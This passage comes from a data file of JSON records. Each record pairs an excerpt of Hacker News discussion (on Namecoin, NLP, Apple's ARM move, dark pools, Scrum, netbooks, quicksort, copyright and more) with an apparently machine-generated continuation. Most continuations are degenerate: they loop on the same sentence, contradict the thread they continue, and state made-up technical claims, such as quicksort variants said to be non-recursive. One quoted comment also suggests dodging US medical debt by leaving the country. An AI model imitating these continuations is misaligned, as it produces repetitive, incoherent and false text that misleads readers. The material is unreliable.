47% of the seats with 36 percent of votes. Labor\nhad almost 40% with 29% of the votes. LD had 8% with 23% of votes. Even in\n2015, they had 1.2"} +{"output_text": "bitcoin](https://groups.google.com/forum/m/#!forum/bitcoin)\n\n~~~\nbachback\nI know, but the point is that there are a lot of people who know about this\nproject and a lot of people who don't.\n\n------\njgrahamc\nI'm not sure I understand the point of this.\n\nThe Namecoin project is a way to get around the DNSSEC problem. It's a\ndistributed DNS", "input_text": " all networks in the world would share combined CPU power, increasing\nthe total strength. It would make it easier for small networks to get started\nby tapping into a ready base of miners.\"\n\n\"@dtvan: all 3 excellent points. 1) IP records don't need to be in the chain,\njust do registrar function not DNS. And CA problem solved, neat. 2) Pick one\nTLD,.web +1. 3) Expiration and significant renewal costs, very important.\"\n\n~~~\nbaddox\nJacobAldridge asked whether there is a better overview of Namecoin than it's\nWikipedia page. Having read the Wikipedia page and the Namecoin homepage you\nlinked, I can confidently say that the former is a much more detailed and\ninformative overview.\n\n~~~\nbachback\nstrangely enough there are a million people who know about this project and\n1-2 actually participate. it's a wiki and opensource project, so everyone in\nthe world is free to contribute. same with bitcoin. roughly 5 active\ndevelopers at the moment, working mostly in their spare time.\n\n~~~\nwcoenen\nLook at the list of contributors at the end of the release notes of the\nupcoming 0.9.0 release of the bitcoin reference client[1]. Or look at the\nactivity of other projects, e.g. the bitcoinj google group[2]. There's a lot\nmore than 5 people working on bitcoin.\n\n[1]\n[https://bitcoin.org/bin/0.9.0/test/README.txt](https://bitcoin.org/bin/0.9.0/test/README.txt)\n\n[2]\n[https://groups.google.com/forum/m/#!forum/"} +{"output_text": "ual_machine_translation)\n\n------\njameshart\nI'm not sure I understand the point of this.\n\nThe idea of a shared embedding space is that you can use it to compare\nsentences from different languages.\n\nBut the idea of a shared embedding space is that you can use it to compare\nsentences from the same language.\n\nSo what's the point of this?\n\n~~~\nnl\nThe point is that you can use it to", "input_text": "A7%D9%84#Arab...](https://en.wiktionary.org/wiki/%D8%B4%D9%85%D8%A7%D9%84#Arabic)\n[https://en.wiktionary.org/wiki/%D8%A3%D9%8A%D8%B3%D8%B1#Arab...](https://en.wiktionary.org/wiki/%D8%A3%D9%8A%D8%B3%D8%B1#Arabic)\n[https://en.wiktionary.org/wiki/%D8%A3%D9%8A%D9%85%D9%86#Arab...](https://en.wiktionary.org/wiki/%D8%A3%D9%8A%D9%85%D9%86#Arabic)\n\n------\nnl\nThis is pretty interesting, and something I've played around with too\n(although not to the extent they have - I was playing with aligning word\nembedding and using them for cross lingual tasks).\n\nGoogle released a paper[1] doing zero-shot translation between unseen pairs.\nThat relied on a shared representation which they called \"interlingua\", and\nthat seems quite similar to this\n\n[1] [https://research.googleblog.com/2016/11/zero-shot-\ntranslatio...](https://research.googleblog.com/2016/11/zero-shot-translation-\nwith-googles.html)\n\n~~~\nunhammer\n[https://en.wikipedia.org/wiki/Interlingual_machine_translati...](https://en.wikipedia.org/wiki/Interling"} +{"output_text": " article is a bit light on details, but I think it's worth noting that\nApple's App Store is a closed system. You can't just build an app and publish\nit to the store. You have to go through Apple's approval process.\n\nThis is a big deal because it means that Apple can control the quality of\napps. If you want to build a game, you have to go through the approval\nprocess. If you want to build a game that's not approved", "input_text": "-trust enforcement, maybe they\ncan become a test case for lawmakers looking for loss of competition and\nconsumer choice. (Although existing lobbying dollars from Google, Apple,\nFacebook, & company may be effective in holding back representatives. Money in\nhand, in election season no less.)\n\nEpic Games can show just how much the on-going appstore tax prevent new\nbusiness models from taking hold. They shown an incredible ability to entice\npeople to separate from their money, even convinced Disney?! to partner for\nbranded content.\n\nAlongside Epic Games licensing of the Unreal Engine at-or-below cost (12%\n[1]), I believe Sweeney's commitment to growing a \"Metaverse\" market at the\nexpense of Epic's short-term profit.\n\nThis comes alongside EPIC(.org)'s comparisons about American vs Chinese &\nemerging markets competitiveness, linked today [2].\n\n[1]:\n[https://www.matthewball.vc/all/themetaverse](https://www.matthewball.vc/all/themetaverse)\n[2]: [https://epic.org/foia/epic-v-ai-\ncommission/EPIC-19-09-11-NSC...](https://epic.org/foia/epic-v-ai-\ncommission/EPIC-19-09-11-NSCAI-FOIA-20200331-3rd-Production-pt9.pdf)\n\n~~~\nmschuster91\nIsn't Congress on summer vacation and then they'll all be fighting for\nreelection anyway? I hardly doubt anything will get passed until next year if\nit's not important enough to get a bipartisan vote.\n\n------\nnsgoetz\nThe"} +{"output_text": "reed. I read the book and it was a terrible introduction to the topic.\n\n------\njoshu\nI'm not sure I understand the point of this article.\n\nThe author is complaining that the market is not efficient, and that the\nmarket is not efficient because of dark pools.\n\nBut the author is not proposing a solution.\n\n~~~\nkasey_junk\nThe author is complaining that the market is not efficient because of dark\npools", "input_text": "self you would still feel miffed that you were not given a larger\ndiscount.\n\nI admit my example doesn't have very realistic numbers.\n\n~~~\nkasey_junk\nI think he pretty clearly comes down against false advertising and giving up\nyour fiduciary duty to your clients. Those are the real issues in the court\ncase.\n\nHis main point, and one that seems to be missing in most articles about dark\npools, hft, etc. is that buy side investors are as sophisticated (or should be\nif they are to get away with charging their crazy management fees) as sell\nside participants. The whole reason they have high paying finance jobs is to\nprovide to their clients the service of making sure they are getting the best\nexecution they can.\n\n------\nmindcrime\nStrangely enough, I had never heard of a \"darkpool\" until today. I bought\n_Flash Boys_ at the airport bookstore earlier, and read it on the plane just\nnow. And tonight I find a reference to darkpools on the HN front-page. Hmmm.\nTruth really is stranger than fiction sometimes.\n\nAnyway, FWIW, if anybody here hasn't read _Flash Boys_ by Michael Lewis, it's\na pretty interesting read that covers some ground related to the content of\nthis article: HFT, dark-pools, etc. I understand that it's not without some\ncontroversy, but I found it damn interesting all the same.\n\n~~~\nkasey_junk\nAs someone who has worked in the industry, Flash Boys is literally the worst\nintro you could find into electronic trading. Dark Pools by Scott Patterson is\nmuch, much better (and even it gets basic facts incorrect).\n\n~~~\nazmenthe\nAg"} +{"output_text": " like the Surface Pro.\n\n~~~\nmattnewton\nI think they\u2019re going to release a MacBook Air with a detachable keyboard.\n\n~~~\nwilsonfiifi\nI think you\u2019re right.\n\n------\nmattnewton\nI think the MacBook Air is the best laptop Apple has ever made. It\u2019s a\nfantastic laptop. I\u2019m not sure I\u2019d want to buy a new MacBook Air, but I", "input_text": "or is just willing to lose the developer\naudience), but it's a gamble.\n\nLots of developers don't need to deploy code to servers, of course, but it's\neasy to see a situation where the momentum is felt by all. macOS's UNIX\nsupport has made it, well, I don't quite want to call it the \"de-facto\"\ndevelopment platform, but something approaching that status.\n\n------\nannoyingnoob\nApples extends its ARM, gives Intel the finger.\n\n~~~\nkiplkipl\nHoping for a job with El Reg?\n\n------\nGiorgioG\nAnd with Apple moving to ARM, any hope of serious gaming on a Mac will be\ngone.\n\n~~~\nyborg\nThat ship sailed decades ago. Rightfully so, because everyone that has the\nmoney for a Mac can easily buy a console, and much gaming has shifted to\nmobile platforms. Unless you think rainbow colored keyboard backlighting is a\nkey innovation area for a computer company, the gaming market is a complete\nwaste of time except for driving graphics hardware, which Apple has always\nlagged at even for their Pro products.\n\n~~~\nGiorgioG\nSome of us can afford Macs and consoles, but still prefer a computer for\nplaying games (graphics, kb/mouse controller, load times, etc.)\n\n------\nwilsonfiifi\nI\u2019m not sure Apple\u2019s goal is to replace their x86 line of products; that will\nalienate too many users and would involve a huge number of software to be\nported to ARM. I think they\u2019re probably going to release an iPadOS device in a\nlaptop form factor. Either foldable like the Lenovo Yoga or with a detachable\nkeyboard"} +{"output_text": " article is a bit misleading in that it implies\nthat binge drinking is a symptom of alcoholism.\n\n~~~\nmattmanser\nI think it's a symptom of a lack of self control.\n\nI've been drinking for years, and I've never had a problem with it. I've never\nhad a problem with it because I've never had a problem with it.\n\nI've never had a problem with it because I've never had a problem with it", "input_text": "> Australia is not as bad because of the sport culture. \"My personal trainer\n> said no\" is acceptable and most places I have work have had a mild to zero\n> drink culture.\n\nThat's a pretty specific edge case.\n\nIf you're sitting at the pub with friends or work colleagues and you're the\nonly one not drinking, you can expect some irritating comments.\n\nI've learned to deal with it. I've figured out the main reason people push a\ndrink on you is to justify their bad choices (e.g if you're at the pub with\nBob and he's sinking 12 pints tonight, he doesn't want a reminder that he's\nkilling his body and will have a terrible hangover in a few hours).\n\n~~~\nboblebricoleur\nWhen I tried to stop drinking in college, I used to fill empty beer bottles\nwith water to drink at parties. This helped a lot with social pressure. I\nreckon one could do the same in a pub if the bartender is understanding and\ndiscrete, but I never tried it.\n\n~~~\nchrisco255\nNowadays just get some Topo Chico (carbonated water) or you can drink the\nHeineken Zero.\n\n------\nwetpaws\nI did it for year. Two big benefits: first, you are loosing weight (I lost ~10\npounds) and second, craving has gone. It was seriously concerning me and a big\nmotivator to quit.\n\nI did not find much difference in how I feel, but at least this disgusting\nfeeling in your mouth in the morning has gone too.\n\n------\ncyorir\nBinge drinking is not synonymous with alcoholism, but comes with many\ndownsides nevertheless. The"} +{"output_text": "Processing.html)\n\n[https://research.google.com/pubs/pub44858.html](https://research.google.com/pubs/pub44858.html)\n\n------\njimmyvalmer\nI'd recommend the following:\n\n1\\. Read the book \"Deep Learning\" by Goodfellow, Bengio, and Courville.\n\n2\\. Read the paper \"Learning Phrase Representations using RNN Encoder-Decoder\n", "input_text": " for NLP, in PyTorch:\n[https://github.com/spro/practical-pytorch](https://github.com/spro/practical-\npytorch)\n\nSo far it covers using RNNs for sequence classification and generation, and\ncombining those for seq2seq translation. Next up is using recursive neural\nnetworks for structured intent parsing.\n\nPS: To anyone who has searched for NLP tutorials, what tutorial have you\nwanted that you couldn't find?\n\n------\nstared\nSee links in here: [http://p.migdal.pl/2017/01/06/king-man-woman-queen-\nwhy.html](http://p.migdal.pl/2017/01/06/king-man-woman-queen-why.html).\nEspecially:\n\n\\- Python packages: Gensim, spaCy\n\n\\- book:\n[https://web.stanford.edu/~jurafsky/slp3/](https://web.stanford.edu/~jurafsky/slp3/)\n\n------\ndemonshalo\nI think the best way to start is tackling a specific problem. Ex. Try building\na summarizer for any given piece of text.\n\nStart by using traditional statistical methods first in order to understand\nwhat works and what doesn't. From there, you can go on to work on an ML\nsolution to the same problem in order to see the actual difference between the\ntwo approaches in terms of comparable output.\n\n------\nnavyad\nAlso helpful to read some research papers\n\n[https://research.google.com/pubs/NaturalLanguageProcessing.h...](https://research.google.com/pubs/NaturalLanguage"} +{"output_text": " is that the business\nisn't the only thing that dies. The people who work there die, too.\n\n~~~\nbeat\nI'm not saying that Scrum is the only way to do things. I'm saying that it's\nthe only way to do things that are _designed to prevent_ the behavior you're\ndemanding.\n\n~~~\nNomentatus\nI'm not sure I understand. Scrum is designed to prevent the behavior you're\ndemanding", "input_text": "\n\nA lot of these software process issues boil down to managements never ending\nquest to commoditize developers.\n\n~~~\nbeat\nThere's an analogy I like to use... you're baking bread. Bread is just flour,\nwater, yeast, and salt, plus maybe decoration ingredients. You mix things in\nthe correct proportions, let it rise, bake at the right temp/time, and you get\nbread. Easy, right? Then someone wants you to put in raisins. \"It should be\neasy! It's just a handful of raisins, I don't see why you're telling me it\ncan't be done!\", they shout, five minutes before the oven timer goes off.\n\nScrum is, at heart, _designed precisely to stop the behavior you're\ndemanding_ \\- that is, the endless stream of \"small\" interruptions and\nconstantly shifting priorities. The raisins.\n\nWhy are you trying to \"shoe horn in work\" for _this iteration_ that you\nweren't aware was even an issue when the iteration planning happened? Is\nproduction down? Is it a hair-on-fire emergency that threatens the business?\nOr is it just \"important\". FUCK important. If it's so important, put it in the\nstory backlog and have it done in the next iteration.\n\nIf it's important enough to disrupt the iteration, it's important enough to\ncancel the iteration, toss all that iteration's unfinished work onto the\nbacklog, and start over. That's how Scrum is supposed to work, but never does,\nbecause _someone_ wants raisins at the last minute and thinks it's not a big\ndeal.\n\n~~~\nNomentatus\nYes, I have seen businesses die, both ways. The problem"} +{"output_text": " we can handle the\nenvironmental crisis is just delusional.\n\n~~~\nkraftman\nI agree with you, but I don't think it's a delusion.\n\nI think it's a realistic expectation that we can reduce our impact on the\nenvironment.\n\n~~~\nexergy\nI think it's a delusion to think that we can reduce our impact on the\nenvironment.\n\nWe are a species that has been around for a few million years", "input_text": "als\" on Netflix if they want a more\ndetailed explanation of problems and potential solutions. Trailer:\n[https://youtu.be/Mmqqi_DnPEE](https://youtu.be/Mmqqi_DnPEE)\n\n~~~\nkraftman\nAny suggestions for the best place to donate to have the most impact?\n\n~~~\nselectodude\nI mean, the coral are dying because the ocean temperature has gotten too high.\nDonate to yourself and stop using fossil fuels, that\u2019s the only way out at\nthis point.\n\n~~~\nkraftman\nFirst of all, it's clearly not the only way out, because the comment I replied\nto shows at least another way worth exploring.\n\nSecond of all, me reducing my fossil fuel usage to 0 wouldn't magically drop\nindustrial fossil fuel usage to 0, so that's not even a solution to the\nproblem.\n\nA new technology or enforced policy would have a much greater effect.\n\n~~~\nexergy\n> A new technology\n\nThis attitude in the general public is our death knell. The only, and I do\nmean ONLY, solution to not fucking up the environment beyond repair is the\nconcept of less.\n\nLess SUVs, less air travel, less fast fashion, less computer monitors, less\nphones replaced less quickly, less heating and cooling of our homes and more\ngetting acclimated to the climate, less fucking juiceros and interent\nconnected butt-plugs, less non-seasonal vegetables and meat, less eating of\nbeef and pork and chicken and more plants. Reduce.\n\nI love to quote idlewords on this all the time, but we as a species can't even\nhandle male pattern baldness. To somehow expect that"} +{"output_text": " this post, I'm not sure why the author chose to use the\nterm \"dead\" to describe the netbook.\n\n~~~\nbryanlarsen\nI think the author is using the term \"dead\" to describe the netbook as a\nplatform.\n\n------\njrockway\nI don't think the author is correct. The netbook is dead. It's just that\npeople are buying tablets instead.\n\n~~~\njrockway\nI think", "input_text": "\neditor does fine, or something light like Qt Designer. This is why I\nexplicitly added \"if you don't use eclipse\" :-) You have to be a bit creative\nwith resources, if you expect a full high-profile dev machine you're indeed\nnot well-off with a netbook.\n\nAnd indeed, finding one with decent battery life can be a bit of a challenge.\n\nAnd yes, $1000 versus $350 matters for a lot of people, we're not all silicon\nvalley rock stars. Also if you, for example, use the device in risky/dirty/etc\nenvironments, you'd usually want to settle with something easily replacable.\n\n------\nbryanlarsen\nNobody killed the netbooks. They aren't dead.\n\n[http://liliputing.com/2011/06/survey-netbooks-are-just-as-\npo...](http://liliputing.com/2011/06/survey-netbooks-are-just-as-popular-as-\ntablets-plenty-of-people-dont-care-at-all.html)\n\n[http://hardware.slashdot.org/story/11/06/24/0426232/Who-\nKill...](http://hardware.slashdot.org/story/11/06/24/0426232/Who-Killed-the-\nNetbook)\n\n~~~\nFilterJoe\nAgreed. After reading this post, I looked on Amazon and saw that a variety of\nEEE PC and Samsung netbooks are still for sale in the $200-$400 price range. I\nalso found that around 30 million netbooks are expected to be sold in 2011.\nNot dead.\n\nGiven the subject of"} +{"output_text": "am of\nthe crop' dictionary.\n\n~~~\njamesbritt\n\"Webster's Third\" was the first edition.\n\n------\njamesbritt\n\"The dictionary is a work of art, and it is a work of art that is not\nnecessarily a work of art.\"\n\nI'm not sure I agree with this.\n\n~~~\njamesbritt\n\"The dictionary is a work of art, and it is a work of art that", "input_text": "\ncwe\nSome video game companies still are:\n[http://www.theverge.com/2012/4/13/2947088/valve-reveals-\nsecr...](http://www.theverge.com/2012/4/13/2947088/valve-reveals-secret-\nhardware-project-wearable-computing)\n\n~~~\niamdave\nBy-and-large though, VALVe as a corporation is an outlier in virtually every\nsense from the rest of the gaming industry. They own 100% of their\ndistribution, they're a developer that distributes for other developers,\nthey're _immensely_ in-tune with their customers, their consistently open\nsupport of the modding community, user-vs-profit focused DRM...\n\nDespite the fact that VALVe makes games, they're unlike any other gaming\ncompany out there right now. The Minecraft team is a few iterations and\nportfolio additions away from that same tier.\n\n------\npersonlurking\nReminds me a bit of Slate's Lexicon Valley in their episode about Webster's\nThird (edition dictionary). It was to be the end of to end all as far as\nknowledgable authority goes. Want to know anything? Consult your trusty\ndictionary!\n\n[http://www.slate.com/articles/podcasts/lexicon_valley/2012/0...](http://www.slate.com/articles/podcasts/lexicon_valley/2012/03/lexicon_valley_webster_s_third_the_most_controversial_dictionary_ever_published_.html)\n\nedit: I believe it was Webster's Second that was supposed to be the 'cre"} +{"output_text": " books.\n\n _The amount of water that is the problem. There is no practical way to launch\nthe amount that is needed._\n\nThere is no practical way to launch the amount that is needed.\n\n~~~\njessriedel\n> There's less need to shield from them.\n\nI don't think that's true. The moon is a very different environment than the\nmars. The moon is a vacuum, and the moon is a very, very, very", "input_text": "\nwill. It's the amount of water that is the problem. There is no practical way\nto launch the amount that is needed. And even once you launch it, it's so\nmassive that you'll have a really hard time getting to mars fast enough.\n\nI haven't run the numbers myself, but I've read works from people who have,\nand they say that it's not practical. Water is just too heavy.\n\nPS. For the moon, there is little reason to build up - dig under instead, and\nline the inside with weak, but airtight material.\n\n~~~\nstcredzero\n_That is simply not what all those articles I linked to said._\n\nYou're spreading pop-science FUD designed to create the exact misconceptions\nyou are spreading. Read the other side in Zubrin's books and articles. No big\nconspiracies, just people using fear of radiation to sensationalize articles\nand get more money out of our federal government.\n\n _The reason the high energy particles are more of a problem is because it's\nharder to shield from them_\n\nThere's less _need_ to shield from them.\n\n _Especially without the shielding becoming a problem in and off itself. Which\nis more or less what you said. So you agree that hiding during solar storms is\nnot enough._\n\nBy _not_ shielding the entire vessel, you can create a small booth with enough\nshielding to also absorb the secondaries. Again, this is well trodden\nterritory. Most public libraries have Zubrin's books. Read the other side, and\nyou will find that you have been fed incomplete pictures. Shielding the whole\ncraft is a straw man. Trying to give complete protection for initial explorers\nand colonists is overkill and FUD for selling"} +{"output_text": " Creative Commons license. You then post them on\nPinterest, and they are used in a way that is not covered by the license.\nPinterest then sues you for copyright infringement.\n\nNow, let's say you have a TOS that says \"you can't use our content in any way\nthat is not covered by the Creative Commons license\". Would you be able to\ndefend yourself in court? I think the answer is \"no\".\n\n~~~\nwpi", "input_text": "reproducing a low-\nresolution copy for reference\" to provide context.\n\nAnother aspect of fair use is \"not depriving the owner of their own commercial\nuse of the work\".\n\n------\nzaroth\nIf I'm a copyright holder who feels like my work is being misappropriated by\nPinterest, I'm going to sue Pinterest, not the user. Their Terms of Service\nwon't stop them from getting sued, and the indemnity clause won't magically\nmake money appear in their pockets to pay for their defense. If they decide to\nstart suing their users for recovery, that would be pretty amusing.\n\n\"I trusted the person who gave me the image\" is not a legal defense for\ncopyright infringement. Their only chance is to stay within the DMCA safe\nharbor or else they will eventually be shut down.\n\n~~~\nwpietri\nAs my lawyer explained to me long ago, who eventually \"wins\" a lawsuit is\nrarely interesting. Cost, time, and agony to get there are much more relevant\nfactors.\n\nThe \"our users represent that the content is theirs\" may not keep Pinterest\nfrom losing an eventual lawsuit, but it does complicate things enough that it\ndiscourages legal action. That may be sufficient for them to cash out long\nbefore the suits are complete.\n\nOr, like YouTube, things like that may allow them to grow big enough that they\nend up with sufficient negotiating power that they can get away with quite a\nbit, and possibly reshape what's considered reasonable.\n\n------\nnpsimons\nI think many are dismissing this as \"standard TOS/EULA legalese\" and missing\nthe point. Let's consider a scenario: let's say you post some photos online,\nand license them under the"} +{"output_text": " worst-case. The worst-case is O(n^2), but the\naverage-case is O(n log n).\n\n2\\. Quicksort is a recursive algorithm, so it's not surprising that it uses\nrecursion.\n\n3\\. The \"dual pivot quicksort\" is a different algorithm, which is not\nrecursive.\n\n4\\. The \"dual pivot quicksort\" is not the same as the \"dual pivot quicksort", "input_text": " a loss.\nThese could be the differences between your idea succeeding or disappearing.\n\n1\\. Another one of my common things I do at work is replacing quicksort\nimplemented using recursion with an iterative version so that the stack\ndoesn't keep getting blown on large datasets. I like it when people encounter\nthis problem and find out that stacks are finitely sized and not as big as\nthey'd hoped they would be. \"But that means...\" is a great thing to hear.\n\n~~~\nnadam\nI am not an expert of this, but:\n\n1\\. I think the stack usage of Quicksort is O(log(n)). Which means it is\nimpossible to blow up the stack unless your dataset is bigger than the number\nof atoms in the universe (but in that case how are you keeping it in memory?)\n\n2\\. For example in Java when you call Arrays.sort() this is called:\n\n[http://cr.openjdk.java.net/~alanb/6905046/webrev/src/share/c...](http://cr.openjdk.java.net/~alanb/6905046/webrev/src/share/classes/java/util/DualPivotQuicksort.java.html)\n\n(It apparently uses recursion)\n\nI know quicksort, but not on this level: these guys researched lots of\ndifferent quicksort implementations and optmized the hell out of it. This\nimplmenetation is way longer to begin with than my naive quicksort\nimplementation would be and is called 'dual pivot quicksort', which I did not\nhear about until now, despite I know how the traditional quicksort works.\n\n~~~\ngjm11\n1\\. It's average-case versus"} +{"output_text": " list of things that\nwe would not do.\n\nI was asked to add a \"Conscience Breaker\" for the UK.\n\nI said \"I don't know what that is, but I will find out\".\n\nI did.\n\nIt was a list of things that we would not do, because we would not be able to\nsell them.\n\nI am not sure that I am right, but I am pretty sure that I am right.\n", "input_text": " suppressed and should probably not\nbe developed in this easy-to-use form.\n\nI believe what you really want to say is that nation states should develop all\nthose nefarious technologies in order to control their spreading, because\nsomeone (\"the opponent\") will invent and spread them anyway. That's indeed the\ntraditional rationale for MAD and the development of nerve gas, biological\nweapons, and hydrogen bombs. The problem with this argument is that anybody\ncan use it, the argument appears just as sound to North Korea than to the US,\nand is leading to a world-wide stockpiling of dangerous technologies. So there\nmust be something wrong with that argument, don't you think so?\n\n~~~\neiieirurjdndjd\n> That's indeed the traditional rationale for MAD and the development of nerve\n> gas, biological weapons, and hydrogen bombs. The problem with this argument\n> is that anybody can use it, the argument appears just as sound to North\n> Korea than to the US, and is leading to a world-wide stockpiling of\n> dangerous technologies.\n\nBut that\u2019s not what happened, right? I mean, it is if you stop reading history\njust before the first non-proliferation treaties began being implemented. This\nwas almost half a century ago, though, so IMO it doesn\u2019t make sense to stop\nreading at that point.\n\n~~~\nJohnStrangeII\nI agree. The solution to massive technological threats is mutual entanglement\nby treaties and international laws that limit or prohibit the development of\ndangerous technologies. That's my point.\n\n------\nlifeisstillgood\nMany (many) years ago, I was leading business planning for Demon / Thus and as\npart of our template introduced \"Conscience Breakers\" \\- a"} +{"output_text": " [https://www.chess.com/news/chess-\nclub-scoresheets-chess-com...](https://www.chess.com/news/chess-club-\nscoresheets-chess-com-chess-com-chess-com-chess-com-chess-com-chess-com-\nchess-com-chess-com-chess-com-chess-com-chess-", "input_text": " prepared for an informal talk:\n[https://github.com/chesseye/chesseye/blob/master/presentatio...](https://github.com/chesseye/chesseye/blob/master/presentation/slides/slides.pdf)\n\nHope this helps! I always enjoy talking about these things, so feel free to\nreach out if you want to discuss it more.\n\n------\nAspos\nWould suggest using two cameras for stereo photogrammetry. Using mini-\nprojector to highlight clues would also be cool.\n\nI see a micro-projector with two cameras just 10 cm apart on a single tripod.\nWith stereo the tripod does not need to be that big for reliable detection.\n\n~~~\nyeldarb\nOoo cool idea!\n\nHave you seen Tilt Five? It\u2019s an AR headset that operates off a similar\nconcept. Instead of trying to figure out the passthrough optics they put\nprojectors in the glasses that reflect back at the viewer.\n\n[https://www.kickstarter.com/projects/tiltfive/holographic-\nta...](https://www.kickstarter.com/projects/tiltfive/holographic-tabletop-\ngaming)\n\n~~~\nAspos\nHaving to wear bulky glasses would ruin boardgames for me. But I see your\npoint.\n\n------\nbillforsternz\nThis is very cool. One very important application would be simply recording\ncompetitive games. There are electronic boards that can do this, and they are\nubiquitous at top level events. But they are infeasibly expensive. At our\nchess club one selfless and heroic volunteer inputs all the scoresheets into a\nPGN every week (shameless plug:"} +{"output_text": "\ncitation for them.\n\n~~~\ndfc\nI am not an apologist for the state. I am an apologist for the rule of law.\n\n~~~\npraxeologist\nYou are an apologist for the state. You are an apologist for the rule of law.\nYou are an apologist for the rule of law. You are an apologist for the rule of\nlaw. You are an apologist for the rule of law. You are an", "input_text": " spreading\nfrom the UN conflict zone.\n\nEducation matters, I was just mentioning the truth that all metrics have\nimproved besides schools. You can make of that what you want. There was no\nreal widespread schooling system before and there isn't one still. The UN-\nbacked Transitional Government is having a hard time keeping terrorist\nbombings out of Mogadishu, so it isn't anywhere near spreading schools around\nthe country.\n\n~~~\ndfc\nIs the 2007 blog post titled \"The Rule of Law without the State\" from a well\nknown libertarian organization your only source for these statistics?\n\n \n \n > verify any of these statistics yourself \n \n\nDo you define verify any of these statistics as 25% of these statistics?\nBecause I could only find the following on the CIA page. (The UNDP and the IMF\nlist Somalia as data deficient.)\n\n\\- Physicians per 100,000:4 (this is tenth lowest and FYI the CIA uses per 1k)\n\n\\- Infant mortality: 3rd highest 100 Afghanistan highest at 114.\n\n\\- Maternal morbidity: 1,000 3rd behind South Sudan (2,000) and Chad (1,100)\n\n\\- Sanitation Down to 23%\n\n~~~\npraxeologist\n>Is the 2007 blog post titled \"The Rule of Law without the State\" from a well\nknown libertarian organization your only source for these statistics?\n\nThe article is using the following sources as mentioned therein: \"statistical\ndata from the United Nations Development Project, World Bank, CIA, and World\nHealth Organization\"\n\nYou obviously have some sort of state apologist agenda by your intellectually\ndishonest statements here.\n\nIf you are going to start spitting out statistics, you better provide a"} +{"output_text": " thinking?\n\n~~~\njacquesm\nThat's a good point, but I think that the US is a bit more lenient on that\nthan most other countries.\n\n------\njoshu\nI'm not sure I'd want to be the guy who was the first to try this.\n\n~~~\njoshu\nI'm not sure I'd want to be the guy who was the first to try this.\n\n------\njoshu\nI'm", "input_text": " paraplegic IIRC.\n\n------\njoegosse\nInteresting that the overall advice here is \"Don't Panic\"\n\nAlso interesting that having a towel could be incredibly useful in this\nsituation.\n\n~~~\ngeophile\nSince we're quoting Doug Adams: \u201cThe Guide says there is an art to flying\",\nsaid Ford, \"or rather a knack. The knack lies in learning how to throw\nyourself at the ground and miss.\u201d\n\n------\ncromulent\nSomewhat relevant:\n\n[http://topgunbase.ws/i-flew-my-wingsuit-into-trees-and-\nwoke-...](http://topgunbase.ws/i-flew-my-wingsuit-into-trees-and-woke-up-in-a-\nhospital/)\n\n~~~\njacquesm\nOuch. Nice move for Americans to fly in France where healthcare is affordable.\nIf you did this in the US as a tourist you'd likely be broke for the rest of\nyour life.\n\n~~~\nArizhel\nMake sure to go back to your home country as fast as possible, and then just\nignore the bills. They'll have a very difficult time collecting on a debt in a\nforeign country. Don't come back to the US as a tourist after that.\n\nThis reminds me of college, where sometimes the police would come looking for\nstudents who were foreign nationals, because they had gotten credit cards and\nthen racked up huge balances buying stuff, but didn't bother paying the bill.\nWhen the creditors tried to have them served, it turned out they had already\ngraduated and left the country. Good luck getting some guy in Indonesia to pay\noff his US credit card balance. What were these creditors"} +{"output_text": " say I'm not a fan of the term \"intellectual property\" as it's used\nhere.\n\nI think it's a bit of a misnomer. It's not like you can't copy a song, film,\nor book. You can. You can copy a song, film, or book. You can copy a song,\nfilm, or book. You can copy a song, film, or book. You can copy a song, film,\nor book", "input_text": " or purely criminal matter.\n\n~~~\n6stringmerc\nHow is using Murder, the taking of another's life, in any way a suitable\nanalogy to Copying a file/song/film without permission? They're completely\ndifferent ballparks and to do so is a form of equivalency - more like\nequivocation, as I mentioned - because the harms are so drastically different.\nIt only takes one Murder to be convicted of a Criminal offense and sent to\nPrison - there is a significantly higher bar[1] before Copyright Infringement\nis remotely similar to the nature of the reference point. I mean, I get the\nbasic underlying philosophy being argued but I disagree with it. Talking about\nCopyright and Murder in the same sentence, I will reiterate, is rhetorically\noff-base.\n\nA much more reasonable line of \"analogy\" (which it wasn't) would have been\ntalking about Theft and Copyright Infringement have disparate parameters on\nthe books, and therefore expose the over-reach of Copyright. I frequently\nsense that because I'm not \"pro-freedom\" in the definition of those who\ndisagree with me that I'm somehow on the other side. I'm most definitely not\nand it is quite tiring to feel such derision when I'm not a Partisan - I'm a\ngoddamn Independent.\n\n[1] [http://www.dslreports.com/shownews/Piracy-Puts-People-in-\nPri...](http://www.dslreports.com/shownews/Piracy-Puts-People-in-Prison-92460)\n\n \nXeer - mazsa\nhttps://en.wikipedia.org/wiki/Xeer\n======\ncup\nI must"} +{"output_text": " cancelled d) then restarted e) then cancelled f) then\nrestarted g) then cancelled h) then restarted i) then cancelled j) then\nrestarted k) then cancelled l) then restarted m) then cancelled n) then\nrestarted o) then cancelled p) then restarted q) then cancelled r) then\nrestarted s) then cancelled t) then restarted u) then cancelled v) then\nrestarted w) then", "input_text": " is\nthat there will be many ancient software systems that have been debugged to\nnear absolute stability over the centuries. Sure new software will be written,\nbut I bet there will be many very old and stable systems that will see little\nchange.\n\n~~~\nlispm\nWouldn't it be nice when Emacs would not be blocked when some Lisp routine\nruns?\n\nLots of people have written excellent code for GNU Emacs, but the\nimplementation runtime hasn't improved that much.\n\n~~~\ne40\n_Wouldn 't it be nice when Emacs would not be blocked when some Lisp routine\nruns?_\n\nYes, it would be nice, but can you imagine the bugs that will happen while\neveryone works out the details of how to do it properly?\n\n~~~\ntaylanub\nEven in the current pre-alpha/alpha stage of Guile-Emacs, I can launch a\nthread from Scheme, do work, return to the main thread, then call an Elisp\nfunction on my result. (Scheme and Elisp data types are unified.) No bugs or\nunpleasant details there.\n\nCalling Elisp functions and accessing Emacs data types (buffers, windows) from\nmultiple threads is another issue; if you don't want to bother with it then\ndon't; you still get all the other benefits of being on Guile. (Calling to\n_any_ Guile module agnostically as if it were an Elisp library (including,\nsay, Guile's OpenGL module), having an FFI, getting JIT or AOT native\ncompilation in the future, etc.)\n\n------\nyason\nGiven all the reworks of software projects that have a) been started b) then\ndelayed c) then"} +{"output_text": " that you are from Pakistan.\n\n~~~\nmikeash\nI think you're missing the point. The article is not saying that the\nprobability of a person being from Pakistan is higher than the probability of\na person being from Slovakia. It's saying that the probability of a person\nbeing from Pakistan is higher than the probability of a person being from\nSlovakia _given that the person is a human_.\n\n~~~\nzby\nI think I understand now", "input_text": " there a reason that other (alien) elements can't exist that\nwe've never been exposed to?\n\n~~~\nAnalog24\nThe structure of elements/atoms is well understood based on their subatomic\nconstituents. Naively, you might think that can you just keep combining\nincreasingly larger numbers of 